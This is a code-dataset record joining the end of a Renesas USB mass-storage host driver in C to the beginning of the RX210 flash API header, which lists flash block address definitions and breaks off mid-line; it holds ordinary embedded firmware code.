*/\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_DriveClose\nDescription : drive close\nArguments : uint16_t addr : \n : uint16_t data2 : \nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_DriveClose(USB_UTR_t *ptr, uint16_t addr, uint16_t data2)\n{\n uint16_t strage_drive_no;\n\n usb_hmsc_SmpFsiDriveClear(ptr, addr);\n strage_drive_no = R_usb_hmsc_ref_drvno(ptr->ip, addr);\n R_usb_hmsc_free_drvno(strage_drive_no);\n f_mount(0, \"\", NULL);\n\tdrivemountFlag = false;\n \tgszCurFile[0] = NULL;\n} /* eof R_usb_hmsc_DriveClose() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_alloc_drvno\nDescription : Get Drive no.\nArguments : uint16_t ipno : USB IP No. \n : uint16_t devadr : Device address\nReturn value : Drive no.\n******************************************************************************/\nuint16_t R_usb_hmsc_alloc_drvno(uint16_t ipno, uint16_t devadr)\n{\n uint16_t drv_no;\n\n /* Initialeze hid device state */\n for( drv_no = 0; drv_no < USB_DEVICENUM ; drv_no++ )\n {\n if( USB_NOUSE == usb_ghmsc_drv_no_tbl[drv_no].use_flag )\n {\n usb_ghmsc_drv_no_tbl[drv_no].use_flag = USB_YES;\n usb_ghmsc_drv_no_tbl[drv_no].dev_adr = devadr;\n usb_ghmsc_drv_no_tbl[drv_no].ip = ipno;\n usb_ghmsc_drive_no[ipno][devadr] = drv_no;\n return drv_no;\n }\n }\n\n return USB_ERROR;\n} /* eof R_usb_hmsc_alloc_drvno() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_free_drvno\nDescription : Release Drive no.\nArguments : uint16_t drvno : Drive no.\nReturn value : none\n******************************************************************************/\nvoid R_usb_hmsc_free_drvno( uint16_t drvno )\n{\n uint16_t ip;\n uint16_t devadr;\n\n ip = usb_ghmsc_drv_no_tbl[drvno].ip;\n devadr = usb_ghmsc_drv_no_tbl[drvno].dev_adr;\n\n usb_ghmsc_drv_no_tbl[drvno].use_flag = USB_NOUSE;\n if( usb_ghmsc_drive_no[ip][devadr] == drvno )\n {\n usb_ghmsc_drive_no[ip][devadr] = USB_ERROR;\n }\n} /* eof R_usb_hmsc_free_drvno() */\n\n/******************************************************************************\nFunction Name : R_usb_hmsc_ref_drvno\nDescription : Get Drive no.\nArguments : uint16_t ipno : USB IP No. \n : uint16_t devadr : Device address\nReturn value : Drive no.\n******************************************************************************/\nuint16_t R_usb_hmsc_ref_drvno(uint16_t ipno, uint16_t devadr)\n{\n return usb_ghmsc_drive_no[ipno][devadr];\n} /* eof R_usb_hmsc_ref_drvno() */\n\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.3968663513660431, "alphanum_fraction": 0.5992637872695923, "avg_line_length": 45.26491928100586, "blob_id": "0721e87e9a88e9c46ada0bcf3a0d24580d5c942a", "content_id": "7c4949b8c18450fea994a2ef576ff05aab86b777", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 31784, "license_type": "no_license", "max_line_length": 118, "num_lines": 687, "path": "/r_flash_api_rx/src/targets/rx210/r_flash_api_rx210.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2012 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/******************************************************************************\n* File Name : r_flash_api_rx210.h\n* Description : This file has specific information about the ROM and DF on \n* RX210 Group MCUs.\n*******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 15.10.2012 1.00 First Release\n******************************************************************************/\n\n#ifndef _FLASH_API_RX210_H\n#define _FLASH_API_RX210_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Defines standard typedefs used in this file */\n#include <stdint.h>\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Defines the number of flash areas */\n#define NUM_ROM_AREAS 1\n/* Defines the start program/erase address for the different flash areas */\n#define ROM_AREA_0 (0x00F80000)\n \n/* Defines whether this MCU requires the FCU RAM be enabled and initialized.\n If uncommented, then MCU is required to init FCU RAM.\n If commented out, then MCU is not required. */\n#define FCU_RAM_INIT_REQUIRED (1)\n\n/* Bottom of DF Area */\n#define DF_ADDRESS 0x00100000\n/* Used for getting DF block */\n#define DF_MASK 0xFFFFF800\n/* Used for getting erase boundary in DF block when doing blank checking */\n#define DF_ERASE_BLOCK_SIZE 0x00000080\n/* This is used to get the boundary of the 'fake' blocks that are 2KB. */\n#define DF_BLOCK_SIZE_LARGE 0x00000800\n/* Defines how many DF blocks are on this part */\n#define DF_NUM_BLOCKS 4 \n\n/* Defines how many ROM blocks are on this part */\n#if BSP_ROM_SIZE_BYTES == 131072\n #define ROM_NUM_BLOCKS 64 \t //128KB part\n#elif BSP_ROM_SIZE_BYTES == 262144\n #define ROM_NUM_BLOCKS 128 \t //256KB part\n#elif BSP_ROM_SIZE_BYTES == 393216\n #define ROM_NUM_BLOCKS 192 \t //384KB part\n#elif BSP_ROM_SIZE_BYTES == 524288\n #define ROM_NUM_BLOCKS 256 \t //512KB part\n#else\n #error \"ERROR - Flash API - This ROM size is not defined. Update r_flash_api_rx210.h with this MCUs information.\" \n#endif\n\n/* Programming size for ROM in bytes. This is being set as 2 to comply with older versions where there was only 1\n size option. */\n#define ROM_PROGRAM_SIZE 2\n/* Programming size for ROM in bytes. RX210 support 128, 8 and 2 byte options. */\n#define ROM_PROGRAM_SIZE_LARGE 128\n#define ROM_PROGRAM_SIZE_MEDIUM 8\n#define ROM_PROGRAM_SIZE_SMALL 2\n/* Programming size for data flash in bytes */\n/* NOTE: RX210 can program 2 or 8 bytes at a time. */\n#define DF_PROGRAM_SIZE_LARGE 8\n#define DF_PROGRAM_SIZE_SMALL 2\n\n/* NOTE:\n The RX210 actually has 64 x 128 byte blocks instead of the \n 4 x 2Kbyte blocks shown below. These are grouped into blocks to\n make it easier for the user to delete larger sections of the data \n flash. The user can still delete individual blocks but they will \n need to use the new flash erase function that takes addresses \n instead of blocks. */\n\n/* Defines that we are grouping data flash blocks for this MCU. */\n#define DF_GROUPED_BLOCKS (1)\n\n/* User ROM Block Area Size: Start Addr - End Addr */\n#define BLOCK_0 0 /* 2KB: 0xFFFFF800 - 0xFFFFFFFF */\n#define BLOCK_1 1 /* 2KB: 0xFFFFF000 - 0xFFFFF7FF */\n#define BLOCK_2 2 /* 2KB: 0xFFFFE800 - 0xFFFFEFFF */\n#define BLOCK_3 3 /* 2KB: 0xFFFFE000 - 0xFFFFE7FF */\n#define BLOCK_4 4 /* 2KB: 0xFFFFD800 - 0xFFFFDFFF */\n#define BLOCK_5 5 /* 2KB: 0xFFFFD000 - 0xFFFFD7FF */\n#define BLOCK_6 6 /* 2KB: 0xFFFFC800 - 0xFFFFCFFF */\n#define BLOCK_7 7 /* 2KB: 0xFFFFC000 - 0xFFFFC7FF */\n#define BLOCK_8 8 /* 2KB: 0xFFFFB800 - 0xFFFFBFFF */\n#define BLOCK_9 9 /* 2KB: 0xFFFFB000 - 0xFFFFB7FF */\n#define BLOCK_10 10 /* 2KB: 0xFFFFA800 - 0xFFFFAFFF */\n#define BLOCK_11 11 /* 2KB: 0xFFFFA000 - 0xFFFFA7FF */\n#define BLOCK_12 12 /* 2KB: 0xFFFF9800 - 0xFFFF9FFF */\n#define BLOCK_13 13 /* 2KB: 0xFFFF9000 - 0xFFFF97FF */\n#define BLOCK_14 14 /* 2KB: 0xFFFF8800 - 0xFFFF8FFF */\n#define BLOCK_15 15 /* 2KB: 0xFFFF8000 - 0xFFFF87FF */\n#define BLOCK_16 16 /* 2KB: 0xFFFF7800 - 0xFFFF7FFF */\n#define BLOCK_17 17 /* 2KB: 0xFFFF7000 - 0xFFFF77FF */\n#define BLOCK_18 18 /* 2KB: 0xFFFF6800 - 0xFFFF6FFF */\n#define BLOCK_19 19 /* 2KB: 0xFFFF6000 - 0xFFFF67FF */\n#define BLOCK_20 20 /* 2KB: 0xFFFF5800 - 0xFFFF5FFF */\n#define BLOCK_21 21 /* 2KB: 0xFFFF5000 - 0xFFFF57FF */\n#define BLOCK_22 22 /* 2KB: 0xFFFF4800 - 0xFFFF4FFF */\n#define BLOCK_23 23 /* 2KB: 0xFFFF4000 - 0xFFFF47FF */\n#define BLOCK_24 24 /* 2KB: 0xFFFF3800 - 0xFFFF3FFF */\n#define BLOCK_25 25 /* 2KB: 0xFFFF3000 - 0xFFFF37FF */\n#define BLOCK_26 26 /* 2KB: 0xFFFF2800 - 0xFFFF2FFF */\n#define BLOCK_27 27 /* 2KB: 0xFFFF2000 - 0xFFFF27FF */\n#define BLOCK_28 28 /* 2KB: 0xFFFF1800 - 0xFFFF1FFF */\n#define BLOCK_29 29 /* 2KB: 0xFFFF1000 - 0xFFFF17FF */\n#define BLOCK_30 30 /* 2KB: 0xFFFF0800 - 0xFFFF0FFF */\n#define BLOCK_31 31 /* 2KB: 0xFFFF0000 - 0xFFFF07FF */\n#define BLOCK_32 32 /* 2KB: 0xFFFEF800 - 0xFFFEFFFF */\n#define BLOCK_33 33 /* 2KB: 0xFFFEF000 - 0xFFFEF7FF */\n#define BLOCK_34 34 /* 2KB: 0xFFFEE800 - 0xFFFEEFFF */\n#define BLOCK_35 35 /* 2KB: 0xFFFEE000 - 0xFFFEE7FF */\n#define BLOCK_36 36 /* 2KB: 0xFFFED800 - 0xFFFEDFFF */\n#define BLOCK_37 37 /* 2KB: 0xFFFED000 - 0xFFFED7FF */\n#define BLOCK_38 38 /* 2KB: 0xFFFEC800 - 0xFFFECFFF */\n#define BLOCK_39 39 /* 2KB: 0xFFFEC000 - 0xFFFEC7FF */\n#define BLOCK_40 40 /* 2KB: 0xFFFEB800 - 0xFFFEBFFF */\n#define BLOCK_41 41 /* 2KB: 0xFFFEB000 - 0xFFFEB7FF */\n#define BLOCK_42 42 /* 2KB: 0xFFFEA800 - 0xFFFEAFFF */\n#define BLOCK_43 43 /* 2KB: 0xFFFEA000 - 0xFFFEA7FF */\n#define BLOCK_44 44 /* 2KB: 0xFFFE9800 - 0xFFFE9FFF */\n#define BLOCK_45 45 /* 2KB: 0xFFFE9000 - 0xFFFE97FF */\n#define BLOCK_46 46 /* 2KB: 0xFFFE8800 - 0xFFFE8FFF */\n#define BLOCK_47 47 /* 2KB: 0xFFFE8000 - 0xFFFE87FF */\n#define BLOCK_48 48 /* 2KB: 0xFFFE7800 - 0xFFFE7FFF */\n#define BLOCK_49 49 /* 2KB: 0xFFFE7000 - 0xFFFE77FF */\n#define BLOCK_50 50 /* 2KB: 0xFFFE6800 - 0xFFFE6FFF */\n#define BLOCK_51 51 /* 2KB: 0xFFFE6000 - 0xFFFE67FF */\n#define BLOCK_52 52 /* 2KB: 0xFFFE5800 - 0xFFFE5FFF */\n#define BLOCK_53 53 /* 2KB: 0xFFFE5000 - 0xFFFE57FF */\n#define BLOCK_54 54 /* 2KB: 0xFFFE4800 - 0xFFFE4FFF */\n#define BLOCK_55 55 /* 2KB: 0xFFFE4000 - 0xFFFE47FF */\n#define BLOCK_56 56 /* 2KB: 0xFFFE3800 - 0xFFFE3FFF */\n#define BLOCK_57 57 /* 2KB: 0xFFFE3000 - 0xFFFE37FF */\n#define BLOCK_58 58 /* 2KB: 0xFFFE2800 - 0xFFFE2FFF */\n#define BLOCK_59 59 /* 2KB: 0xFFFE2000 - 0xFFFE27FF */\n#define BLOCK_60 60 /* 2KB: 0xFFFE1800 - 0xFFFE1FFF */\n#define BLOCK_61 61 /* 2KB: 0xFFFE1000 - 0xFFFE17FF */\n#define BLOCK_62 62 /* 2KB: 0xFFFE0800 - 0xFFFE0FFF */\n#define BLOCK_63 63 /* 2KB: 0xFFFE0000 - 0xFFFE07FF */\n#define BLOCK_64 64 /* 2KB: 0xFFFDF800 - 0xFFFDFFFF */\n#define BLOCK_65 65 /* 2KB: 0xFFFDF000 - 0xFFFDF7FF */\n#define BLOCK_66 66 /* 2KB: 0xFFFDE800 - 0xFFFDEFFF */\n#define BLOCK_67 67 /* 2KB: 0xFFFDE000 - 0xFFFDE7FF */\n#define BLOCK_68 68 /* 2KB: 0xFFFDD800 - 0xFFFDDFFF */\n#define BLOCK_69 69 /* 2KB: 0xFFFDD000 - 0xFFFDD7FF */\n#define BLOCK_70 70 /* 2KB: 0xFFFDC800 - 0xFFFDCFFF */\n#define BLOCK_71 71 /* 2KB: 0xFFFDC000 - 0xFFFDC7FF */\n#define BLOCK_72 72 /* 2KB: 0xFFFDB800 - 0xFFFDBFFF */\n#define BLOCK_73 73 /* 2KB: 0xFFFDB000 - 0xFFFDB7FF */\n#define BLOCK_74 74 /* 2KB: 0xFFFDA800 - 0xFFFDAFFF */\n#define BLOCK_75 75 /* 2KB: 0xFFFDA000 - 0xFFFDA7FF */\n#define BLOCK_76 76 /* 2KB: 0xFFFD9800 - 0xFFFD9FFF */\n#define BLOCK_77 77 /* 2KB: 0xFFFD9000 - 0xFFFD97FF */\n#define BLOCK_78 78 /* 2KB: 0xFFFD8800 - 0xFFFD8FFF */\n#define BLOCK_79 79 /* 2KB: 0xFFFD8000 - 0xFFFD87FF */\n#define BLOCK_80 80 /* 2KB: 0xFFFD7800 - 0xFFFD7FFF */\n#define BLOCK_81 81 /* 2KB: 0xFFFD7000 - 0xFFFD77FF */\n#define BLOCK_82 82 /* 2KB: 0xFFFD6800 - 0xFFFD6FFF */\n#define BLOCK_83 83 /* 2KB: 0xFFFD6000 - 0xFFFD67FF */\n#define BLOCK_84 84 /* 2KB: 0xFFFD5800 - 0xFFFD5FFF */\n#define BLOCK_85 85 /* 2KB: 0xFFFD5000 - 0xFFFD57FF */\n#define BLOCK_86 86 /* 2KB: 0xFFFD4800 - 0xFFFD4FFF */\n#define BLOCK_87 87 /* 2KB: 0xFFFD4000 - 0xFFFD47FF */\n#define BLOCK_88 88 /* 2KB: 0xFFFD3800 - 0xFFFD3FFF */\n#define BLOCK_89 89 /* 2KB: 0xFFFD3000 - 0xFFFD37FF */\n#define BLOCK_90 90 /* 2KB: 0xFFFD2800 - 0xFFFD2FFF */\n#define BLOCK_91 91 /* 2KB: 0xFFFD2000 - 0xFFFD27FF */\n#define BLOCK_92 92 /* 2KB: 0xFFFD1800 - 0xFFFD1FFF */\n#define BLOCK_93 93 /* 2KB: 0xFFFD1000 - 0xFFFD17FF */\n#define BLOCK_94 94 /* 2KB: 0xFFFD0800 - 0xFFFD0FFF */\n#define BLOCK_95 95 /* 2KB: 0xFFFD0000 - 0xFFFD07FF */\n#define BLOCK_96 96 /* 2KB: 0xFFFCF800 - 0xFFFCFFFF */\n#define BLOCK_97 97 /* 2KB: 0xFFFCF000 - 0xFFFCF7FF */\n#define BLOCK_98 98 /* 2KB: 0xFFFCE800 - 0xFFFCEFFF */\n#define BLOCK_99 99 /* 2KB: 0xFFFCE000 - 0xFFFCE7FF */\n#define BLOCK_100 100 /* 2KB: 0xFFFCD800 - 0xFFFCDFFF */\n#define BLOCK_101 101 /* 2KB: 0xFFFCD000 - 0xFFFCD7FF */\n#define BLOCK_102 102 /* 2KB: 0xFFFCC800 - 0xFFFCCFFF */\n#define BLOCK_103 103 /* 2KB: 0xFFFCC000 - 0xFFFCC7FF */\n#define BLOCK_104 104 /* 2KB: 0xFFFCB800 - 0xFFFCBFFF */\n#define BLOCK_105 105 /* 2KB: 0xFFFCB000 - 0xFFFCB7FF */\n#define BLOCK_106 106 /* 2KB: 0xFFFCA800 - 0xFFFCAFFF */\n#define BLOCK_107 107 /* 2KB: 0xFFFCA000 - 0xFFFCA7FF */\n#define BLOCK_108 108 /* 2KB: 0xFFFC9800 - 0xFFFC9FFF */\n#define BLOCK_109 109 /* 2KB: 0xFFFC9000 - 0xFFFC97FF */\n#define BLOCK_110 110 /* 2KB: 0xFFFC8800 - 0xFFFC8FFF */\n#define BLOCK_111 111 /* 2KB: 0xFFFC8000 - 0xFFFC87FF */\n#define BLOCK_112 112 /* 2KB: 0xFFFC7800 - 0xFFFC7FFF */\n#define BLOCK_113 113 /* 2KB: 0xFFFC7000 - 0xFFFC77FF */\n#define BLOCK_114 114 /* 2KB: 0xFFFC6800 - 0xFFFC6FFF */\n#define BLOCK_115 115 /* 2KB: 0xFFFC6000 - 0xFFFC67FF */\n#define BLOCK_116 116 /* 2KB: 0xFFFC5800 - 0xFFFC5FFF */\n#define BLOCK_117 117 /* 2KB: 0xFFFC5000 - 0xFFFC57FF */\n#define BLOCK_118 118 /* 2KB: 0xFFFC4800 - 0xFFFC4FFF */\n#define BLOCK_119 119 /* 2KB: 0xFFFC4000 - 0xFFFC47FF */\n#define BLOCK_120 120 /* 2KB: 0xFFFC3800 - 0xFFFC3FFF */\n#define BLOCK_121 121 /* 2KB: 0xFFFC3000 - 0xFFFC37FF */\n#define BLOCK_122 122 /* 2KB: 0xFFFC2800 - 0xFFFC2FFF */\n#define BLOCK_123 123 /* 2KB: 0xFFFC2000 - 0xFFFC27FF */\n#define BLOCK_124 124 /* 2KB: 0xFFFC1800 - 0xFFFC1FFF */\n#define BLOCK_125 125 /* 2KB: 0xFFFC1000 - 0xFFFC17FF */\n#define BLOCK_126 126 /* 2KB: 0xFFFC0800 - 0xFFFC0FFF */\n#define BLOCK_127 127 /* 2KB: 0xFFFC0000 - 0xFFFC07FF */\n#define BLOCK_128 128 /* 2KB: 0xFFFBF800 - 0xFFFBFFFF */\n#define BLOCK_129 129 /* 2KB: 0xFFFBF000 - 0xFFFBF7FF */\n#define BLOCK_130 130 /* 2KB: 0xFFFBE800 - 0xFFFBEFFF */\n#define BLOCK_131 131 /* 2KB: 0xFFFBE000 - 0xFFFBE7FF */\n#define BLOCK_132 132 /* 2KB: 0xFFFBD800 - 0xFFFBDFFF */\n#define BLOCK_133 133 /* 2KB: 0xFFFBD000 - 0xFFFBD7FF */\n#define BLOCK_134 134 /* 2KB: 0xFFFBC800 - 0xFFFBCFFF */\n#define BLOCK_135 135 /* 2KB: 0xFFFBC000 - 0xFFFBC7FF */\n#define BLOCK_136 136 /* 2KB: 0xFFFBB800 - 0xFFFBBFFF */\n#define BLOCK_137 137 /* 2KB: 0xFFFBB000 - 0xFFFBB7FF */\n#define BLOCK_138 138 /* 2KB: 0xFFFBA800 - 0xFFFBAFFF */\n#define BLOCK_139 139 /* 2KB: 0xFFFBA000 - 0xFFFBA7FF */\n#define BLOCK_140 140 /* 2KB: 0xFFFB9800 - 0xFFFB9FFF */\n#define BLOCK_141 141 /* 2KB: 0xFFFB9000 - 0xFFFB97FF */\n#define BLOCK_142 142 /* 2KB: 0xFFFB8800 - 0xFFFB8FFF */\n#define BLOCK_143 143 /* 2KB: 0xFFFB8000 - 0xFFFB87FF */\n#define BLOCK_144 144 /* 2KB: 0xFFFB7800 - 0xFFFB7FFF */\n#define BLOCK_145 145 /* 2KB: 0xFFFB7000 - 0xFFFB77FF */\n#define BLOCK_146 146 /* 2KB: 0xFFFB6800 - 0xFFFB6FFF */\n#define BLOCK_147 147 /* 2KB: 0xFFFB6000 - 0xFFFB67FF */\n#define BLOCK_148 148 /* 2KB: 0xFFFB5800 - 0xFFFB5FFF */\n#define BLOCK_149 149 /* 2KB: 0xFFFB5000 - 0xFFFB57FF */\n#define BLOCK_150 150 /* 2KB: 0xFFFB4800 - 0xFFFB4FFF */\n#define BLOCK_151 151 /* 2KB: 0xFFFB4000 - 0xFFFB47FF */\n#define BLOCK_152 152 /* 2KB: 0xFFFB3800 - 0xFFFB3FFF */\n#define BLOCK_153 153 /* 2KB: 0xFFFB3000 - 0xFFFB37FF */\n#define BLOCK_154 154 /* 2KB: 0xFFFB2800 - 0xFFFB2FFF */\n#define BLOCK_155 155 /* 2KB: 0xFFFB2000 - 0xFFFB27FF */\n#define BLOCK_156 156 /* 2KB: 0xFFFB1800 - 0xFFFB1FFF */\n#define BLOCK_157 157 /* 2KB: 0xFFFB1000 - 0xFFFB17FF */\n#define BLOCK_158 158 /* 2KB: 0xFFFB0800 - 0xFFFB0FFF */\n#define BLOCK_159 159 /* 2KB: 0xFFFB0000 - 0xFFFB07FF */\n#define BLOCK_160 160 /* 2KB: 0xFFFAF800 - 0xFFFAFFFF */\n#define BLOCK_161 161 /* 2KB: 0xFFFAF000 - 0xFFFAF7FF */\n#define BLOCK_162 162 /* 2KB: 0xFFFAE800 - 0xFFFAEFFF */\n#define BLOCK_163 163 /* 2KB: 0xFFFAE000 - 0xFFFAE7FF */\n#define BLOCK_164 164 /* 2KB: 0xFFFAD800 - 0xFFFADFFF */\n#define BLOCK_165 165 /* 2KB: 0xFFFAD000 - 0xFFFAD7FF */\n#define BLOCK_166 166 /* 2KB: 0xFFFAC800 - 0xFFFACFFF */\n#define BLOCK_167 167 /* 2KB: 0xFFFAC000 - 0xFFFAC7FF */\n#define BLOCK_168 168 /* 2KB: 0xFFFAB800 - 0xFFFABFFF */\n#define BLOCK_169 169 /* 2KB: 0xFFFAB000 - 0xFFFAB7FF */\n#define BLOCK_170 170 /* 2KB: 0xFFFAA800 - 0xFFFAAFFF */\n#define BLOCK_171 171 /* 2KB: 0xFFFAA000 - 0xFFFAA7FF */\n#define BLOCK_172 172 /* 2KB: 0xFFFA9800 - 0xFFFA9FFF */\n#define BLOCK_173 173 /* 2KB: 0xFFFA9000 - 0xFFFA97FF */\n#define BLOCK_174 174 /* 2KB: 0xFFFA8800 - 0xFFFA8FFF */\n#define BLOCK_175 175 /* 2KB: 0xFFFA8000 - 0xFFFA87FF */\n#define BLOCK_176 176 /* 2KB: 0xFFFA7800 - 0xFFFA7FFF */\n#define BLOCK_177 177 /* 2KB: 0xFFFA7000 - 0xFFFA77FF */\n#define BLOCK_178 178 /* 2KB: 0xFFFA6800 - 0xFFFA6FFF */\n#define BLOCK_179 179 /* 2KB: 0xFFFA6000 - 0xFFFA67FF */\n#define BLOCK_180 180 /* 2KB: 0xFFFA5800 - 0xFFFA5FFF */\n#define BLOCK_181 181 /* 2KB: 0xFFFA5000 - 0xFFFA57FF */\n#define BLOCK_182 182 /* 2KB: 0xFFFA4800 - 0xFFFA4FFF */\n#define BLOCK_183 183 /* 2KB: 0xFFFA4000 - 0xFFFA47FF */\n#define BLOCK_184 184 /* 2KB: 0xFFFA3800 - 0xFFFA3FFF */\n#define BLOCK_185 185 /* 2KB: 0xFFFA3000 - 0xFFFA37FF */\n#define BLOCK_186 186 /* 2KB: 0xFFFA2800 - 0xFFFA2FFF */\n#define BLOCK_187 187 /* 2KB: 0xFFFA2000 - 0xFFFA27FF */\n#define BLOCK_188 188 /* 2KB: 0xFFFA1800 - 0xFFFA1FFF */\n#define BLOCK_189 189 /* 2KB: 0xFFFA1000 - 0xFFFA17FF */\n#define BLOCK_190 190 /* 2KB: 0xFFFA0800 - 0xFFFA0FFF */\n#define BLOCK_191 191 /* 2KB: 0xFFFA0000 - 0xFFFA07FF */\n#define BLOCK_192 192 /* 2KB: 0xFFF9F800 - 0xFFF9FFFF */\n#define BLOCK_193 193 /* 2KB: 0xFFF9F000 - 0xFFF9F7FF */\n#define BLOCK_194 194 /* 2KB: 0xFFF9E800 - 0xFFF9EFFF */\n#define BLOCK_195 195 /* 2KB: 0xFFF9E000 - 0xFFF9E7FF */\n#define BLOCK_196 196 /* 2KB: 0xFFF9D800 - 0xFFF9DFFF */\n#define BLOCK_197 197 /* 2KB: 0xFFF9D000 - 0xFFF9D7FF */\n#define BLOCK_198 198 /* 2KB: 0xFFF9C800 - 0xFFF9CFFF */\n#define BLOCK_199 199 /* 2KB: 0xFFF9C000 - 0xFFF9C7FF */\n#define BLOCK_200 200 /* 2KB: 0xFFF9B800 - 0xFFF9BFFF */\n#define BLOCK_201 201 /* 2KB: 0xFFF9B000 - 0xFFF9B7FF */\n#define BLOCK_202 202 /* 2KB: 0xFFF9A800 - 0xFFF9AFFF */\n#define BLOCK_203 203 /* 2KB: 0xFFF9A000 - 0xFFF9A7FF */\n#define BLOCK_204 204 /* 2KB: 0xFFF99800 - 0xFFF99FFF */\n#define BLOCK_205 205 /* 2KB: 0xFFF99000 - 0xFFF997FF */\n#define BLOCK_206 206 /* 2KB: 0xFFF98800 - 0xFFF98FFF */\n#define BLOCK_207 207 /* 2KB: 0xFFF98000 - 0xFFF987FF */\n#define BLOCK_208 208 /* 2KB: 0xFFF97800 - 0xFFF97FFF */\n#define BLOCK_209 209 /* 2KB: 0xFFF97000 - 0xFFF977FF */\n#define BLOCK_210 210 /* 2KB: 0xFFF96800 - 0xFFF96FFF */\n#define BLOCK_211 211 /* 2KB: 0xFFF96000 - 0xFFF967FF */\n#define BLOCK_212 212 /* 2KB: 0xFFF95800 - 0xFFF95FFF */\n#define BLOCK_213 213 /* 2KB: 0xFFF95000 - 0xFFF957FF */\n#define BLOCK_214 214 /* 2KB: 0xFFF94800 - 0xFFF94FFF */\n#define BLOCK_215 215 /* 2KB: 0xFFF94000 - 0xFFF947FF */\n#define BLOCK_216 216 /* 2KB: 0xFFF93800 - 0xFFF93FFF */\n#define BLOCK_217 217 /* 2KB: 0xFFF93000 - 0xFFF937FF */\n#define BLOCK_218 218 /* 2KB: 0xFFF92800 - 0xFFF92FFF */\n#define BLOCK_219 219 /* 2KB: 0xFFF92000 - 0xFFF927FF */\n#define BLOCK_220 220 /* 2KB: 0xFFF91800 - 0xFFF91FFF */\n#define BLOCK_221 221 /* 2KB: 0xFFF91000 - 0xFFF917FF */\n#define BLOCK_222 222 /* 2KB: 0xFFF90800 - 0xFFF90FFF */\n#define BLOCK_223 223 /* 2KB: 0xFFF90000 - 0xFFF907FF */\n#define BLOCK_224 224 /* 2KB: 0xFFF8F800 - 0xFFF8FFFF */\n#define BLOCK_225 225 /* 2KB: 0xFFF8F000 - 0xFFF8F7FF */\n#define BLOCK_226 226 /* 2KB: 0xFFF8E800 - 0xFFF8EFFF */\n#define BLOCK_227 227 /* 2KB: 0xFFF8E000 - 0xFFF8E7FF */\n#define BLOCK_228 228 /* 2KB: 0xFFF8D800 - 0xFFF8DFFF */\n#define BLOCK_229 229 /* 2KB: 0xFFF8D000 - 0xFFF8D7FF */\n#define BLOCK_230 230 /* 2KB: 0xFFF8C800 - 0xFFF8CFFF */\n#define BLOCK_231 231 /* 2KB: 0xFFF8C000 - 0xFFF8C7FF */\n#define BLOCK_232 232 /* 2KB: 0xFFF8B800 - 0xFFF8BFFF */\n#define BLOCK_233 233 /* 2KB: 0xFFF8B000 - 0xFFF8B7FF */\n#define BLOCK_234 234 /* 2KB: 0xFFF8A800 - 0xFFF8AFFF */\n#define BLOCK_235 235 /* 2KB: 0xFFF8A000 - 0xFFF8A7FF */\n#define BLOCK_236 236 /* 2KB: 0xFFF89800 - 0xFFF89FFF */\n#define BLOCK_237 237 /* 2KB: 0xFFF89000 - 0xFFF897FF */\n#define BLOCK_238 238 /* 2KB: 0xFFF88800 - 0xFFF88FFF */\n#define BLOCK_239 239 /* 2KB: 0xFFF88000 - 0xFFF887FF */\n#define BLOCK_240 240 /* 2KB: 0xFFF87800 - 0xFFF87FFF */\n#define BLOCK_241 241 /* 2KB: 0xFFF87000 - 0xFFF877FF */\n#define BLOCK_242 242 /* 2KB: 0xFFF86800 - 0xFFF86FFF */\n#define BLOCK_243 243 /* 2KB: 0xFFF86000 - 0xFFF867FF */\n#define BLOCK_244 244 /* 2KB: 0xFFF85800 - 0xFFF85FFF */\n#define BLOCK_245 245 /* 2KB: 0xFFF85000 - 0xFFF857FF */\n#define BLOCK_246 246 /* 2KB: 0xFFF84800 - 0xFFF84FFF */\n#define BLOCK_247 247 /* 2KB: 0xFFF84000 - 0xFFF847FF */\n#define BLOCK_248 248 /* 2KB: 0xFFF83800 - 0xFFF83FFF */\n#define BLOCK_249 249 /* 2KB: 0xFFF83000 - 0xFFF837FF */\n#define BLOCK_250 250 /* 2KB: 0xFFF82800 - 0xFFF82FFF */\n#define BLOCK_251 251 /* 2KB: 0xFFF82000 - 0xFFF827FF */\n#define BLOCK_252 252 /* 2KB: 0xFFF81800 - 0xFFF81FFF */\n#define BLOCK_253 253 /* 2KB: 0xFFF81000 - 0xFFF817FF */\n#define BLOCK_254 254 /* 2KB: 0xFFF80800 - 0xFFF80FFF */\n#define BLOCK_255 255 /* 2KB: 0xFFF80000 - 0xFFF807FF */\n\n/* Data Flash Block Area Size: Start Addr - End Addr */\n#define BLOCK_DB0 256 /* 2KB: 0x00100000 - 0x001007FF */\n#define BLOCK_DB1 257 /* 2KB: 0x00100800 - 0x00100FFF */\n#define 